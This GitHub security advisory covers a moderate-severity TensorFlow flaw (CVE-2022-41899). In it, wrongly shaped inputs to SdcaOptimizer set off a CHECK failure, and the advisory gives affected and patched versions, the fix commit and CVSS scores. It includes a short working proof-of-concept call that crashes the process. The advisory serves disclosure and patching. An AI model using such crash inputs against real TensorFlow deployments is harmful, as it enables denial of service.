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`CHECK` fail via inputs in `SdcaOptimizer`

Moderate severity GitHub Reviewed Published Nov 18, 2022 in tensorflow/tensorflow • Updated Jul 10, 2023

Package

pip tensorflow (pip)

Affected versions

< 2.8.4
>= 2.9.0, < 2.9.3
>= 2.10.0, < 2.10.1

Patched versions

2.8.4
2.9.3
2.10.1
pip tensorflow-cpu (pip)
< 2.8.4
>= 2.9.0, < 2.9.3
>= 2.10.0, < 2.10.1
2.8.4
2.9.3
2.10.1
pip tensorflow-gpu (pip)
< 2.8.4
>= 2.9.0, < 2.9.3
>= 2.10.0, < 2.10.1
2.8.4
2.9.3
2.10.1

Description

Impact

Inputs dense_features or example_state_data not of rank 2 will trigger a CHECK fail in SdcaOptimizer.

import tensorflow as tf

tf.raw_ops.SdcaOptimizer(
    sparse_example_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)],
    sparse_feature_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)],
    sparse_feature_values=8 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)],
    dense_features=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)],
    example_weights=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100),
    example_labels=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100),
    sparse_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)],
    sparse_weights=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)],
    dense_weights=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)],
    example_state_data=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100),
    loss_type="squared_loss",
    l1=0.0,
    l2=0.0,
    num_loss_partitions=1,
    num_inner_iterations=1,
    adaptative=False,)

Patches

We have patched the issue in GitHub commit 80ff197d03db2a70c6a111f97dcdacad1b0babfa.

The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Zizhuang Deng of IIE, UCAS

References

@pak-laura pak-laura published to tensorflow/tensorflow Nov 18, 2022
Published by the National Vulnerability Database Nov 18, 2022
Published to the GitHub Advisory Database Nov 21, 2022
Reviewed Nov 21, 2022
Last updated Jul 10, 2023

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H

EPSS score

0.102%
(43rd percentile)

CVE ID

CVE-2022-41899

GHSA ID

GHSA-27rc-728f-x5w2

Source code

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